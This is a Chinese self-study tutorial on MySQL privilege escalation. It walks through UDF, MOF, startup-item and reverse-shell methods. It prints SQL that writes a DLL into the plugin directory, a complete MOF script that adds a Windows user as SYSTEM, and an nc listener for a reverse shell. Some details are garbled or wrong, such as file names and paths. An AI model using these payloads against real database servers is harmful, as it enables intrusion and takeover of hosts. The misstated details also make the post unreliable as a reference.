mysql提权总结(自学)

目录

MySQL数据库提权简介

UDF提权

原理

利用条件

利用准备

利用过程

MOF提权

原理

利用条件

利用过程

自启动提权

反弹shell提权

总结


MySQL数据库提权简介

一般数据库提权思路:

  1. 检测数据库的存在(探测端口)
  2. 获取到数据库的权限密码
  3. 查看数据库的类型分类

最主要的就是要获取到数据库的账号密码,获取方式大概有:

  • 读取网站的配置文件
  • 读取数据库备份文件下的库中的表的信息,例如MySQL数据库在mysql_user表中存储账户密码,使用cmd5-mysql5解码
  • 暴力破解账户密码,需要支持外联(mysql默认不支持)。可以使用密码脚本在本地爆破,也可以使用工具如msf的scanner mysql_login模块

MySQL数据库提权方式主要有三种

  • 使用sqlmap的--os-shell
  • 使用写入一句话木马,union select 1,一句话木马,3 into outfile/dumpfile 文件路径
  • udf提权
  • mof提权
  • 启动项提权-反弹shell-exp提权

UDF提权

原理

MySQL内置函数不满足需要,所以MySQL提供了添加新函数的机制,自行添加的MySQL函数就称作UDF(User-Defined-Function)。

用户可以自定义提权的函数(比如执行系统命令函数)来进行提权。

MySQL版本大于5.1版本:udf.dll文件必须放置在MySQL安装目录下的lib\plugin文件夹下

MySQL版本小于5.1版本:udf.dll文件在Window2003下放置在C:\Windows\System32下;在Windows2000放置在C:\Winnt\System32

利用条件

  • 获取到MySQL权限,或者说获取到MySQL账号密码,能够调用MySQL语句

  • MySQL具有写入功能,也就是secure_file_priv值不为具体值或者为固定某值,可以用SQL语句查询:

    复制代码
    show global variables like 'secure%';
  • 要有root权限,且要允许外连。root账户允许外连的SQL语句:

    复制代码
    grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';

利用准备

1、熟悉对方的MySQL目录结构和主机型号,使用SQL命令查看:

复制代码
show variables like '%compile%';

2、确定MySQL的目录结构,搜索位置

复制代码
show variables like '%plugin%';    #查找具体目录
select @@basedir;        #查看MySQL目录

3、kali里面其实有自带的udf提权脚本,并且有32位和64位的版本,目录位置:

复制代码
/usr/share/metasploit-framework/data/exploits/mysql

利用过程

  1. 如果有文件上传漏洞,可以使用蚁剑等工具连接之后,然后直接将提权脚本文件放入lib\plugin目录下,然后使用mysql终端,创建自定义函数sys_eval

    sql 复制代码
    create function sys_eval returns string soname 'udf.dall';
  2. 直接在mysql终端创建目录,导入文件

    sql 复制代码
    create table temp(data longblob);        #以二进制数据流容器longblob创建临时data表
    insert into temp(data) values (unhex('udf文件的16进制格式'));        #将udf.dll脚本的十六进制写入data表
    select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";        #将udf文件导入到指定目录
    create function sys_eval returns string soname 'udf.dll';        #创建自定义函数sys_eval
  3. 调用脚本创建sys_eval函数 ,可以使用kali自带脚本也可以用msf进行提权

最后为了删除痕迹,要把刚刚新建的data表删掉。

MOF提权

原理

类似于udf提权,但成功率低,简单总结来说就是替换原来文件,然后利用自启动原理执行文件进行提权。

在Windows系统下,存在一个mof文件,路径C:/Windows/System32/wbem/mof/nullevt.mof,它的特点为每隔极短一段时间,便会以System权限自动运行文件内脚本,mof提权就是利用这点,将写好的mof文件导入该目录中,让它自动执行代码。

利用条件

  • 有mysql账号和密码
  • 目录可写入

利用过程

sql 复制代码
select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
sql 复制代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user secist 123 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为

net localgroup administrators hsy/add 即可将用户提升管理员权限

自启动提权

利用条件:mysql开启外连;知道账号密码

sql 复制代码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用msf 搜索使用mysql start-up模块 设置目标IP 账号密码 还可以写入反弹shell接受IP 写入启动项 需要对方启动系统,如果权限不够高,可以尝试反弹shell能否获取更高权限

反弹shell提权

mysql创建反弹函数select backshell('发送到的ip地址','端口'),kali使用nc监听本地(攻击机)IP nc -l(本地)-p 端口

总结

  • mysql提权有很多种方法,有通过sqlmap的--os-shell、通过写入文件(outfile/dumpfile)、通过udf提权、通过mof提权、通过自启动提权等等
  • mysql提权需要的三个条件:要有能够执行数据库语句的权限(知道数据库账号密码);mysql数据库要有能够写入的权限,secure_file_priv的值不为具体值或者为某个具体值(为null表示禁止导入导出);mysql账号要有root权限,或者是有root权限的其他用户,且要允许外连
  • UDF提权原理是因为mysql提供自定义函数的功能,所以可以自定义提权的函数(例如命令执行等),而udf.dll文件放在数据库目录下的lib/plugin下
  • UDF提权利用方式可以通过蚁剑连接上传脚本后直接将udf.dll放置在目录下然后进行创建函数;也可以通过mysql命令语句执行,先创建表然后将文件内容的16进制传入表中,然后再通过写入文件函数dumpfile写入指定目录,最后再创建函数;还可以利用脚本进行创建函数(kali有自带的脚本,也可以通过msf等的脚本利用工具)。
  • MOF提权相对于UDF提权相对利用率较低,它是专门针对Windows提权的。原理是因为Windows下有一个mof文件,路径在C:/Windows/system32/webm/mog/nullevt.mof下,它特点是每隔一段时间,系统就会以root权限去执行这个文件,利用这一点就可以进行利用。
相关推荐
胡耀超1 天前
隐私计算技术全景:从联邦学习到可信执行环境的实战指南—数据安全——隐私计算 联邦学习 多方安全计算 可信执行环境 差分隐私
人工智能·安全·数据安全·tee·联邦学习·差分隐私·隐私计算
nongcunqq1 天前
abap 操作 excel
java·数据库·excel
rain bye bye1 天前
calibre LVS 跑不起来 就将setup 的LVS Option connect下的 connect all nets by name 打开。
服务器·数据库·lvs
冻咸鱼1 天前
MySQL的配置
mysql·配置
旺仔Sec1 天前
新疆维吾尔自治区第一届“丝路杯”网络安全大赛暨2026年新疆职业院校技能大赛网络安全赛项竞赛样题
安全·web安全
我不是QI1 天前
DES 加密算法:核心组件、加解密流程与安全特性
经验分享·算法·安全·网络安全·密码学
遇印记1 天前
大二java学习笔记:二维数组
java·笔记·学习
阿里云大数据AI技术1 天前
云栖实录|MaxCompute全新升级:AI时代的原生数据仓库
大数据·数据库·云原生
不剪发的Tony老师1 天前
Valentina Studio:一款跨平台的数据库管理工具
数据库·sql
weixin_307779131 天前
在 Microsoft Azure 上部署 ClickHouse 数据仓库:托管服务与自行部署的全面指南
开发语言·数据库·数据仓库·云计算·azure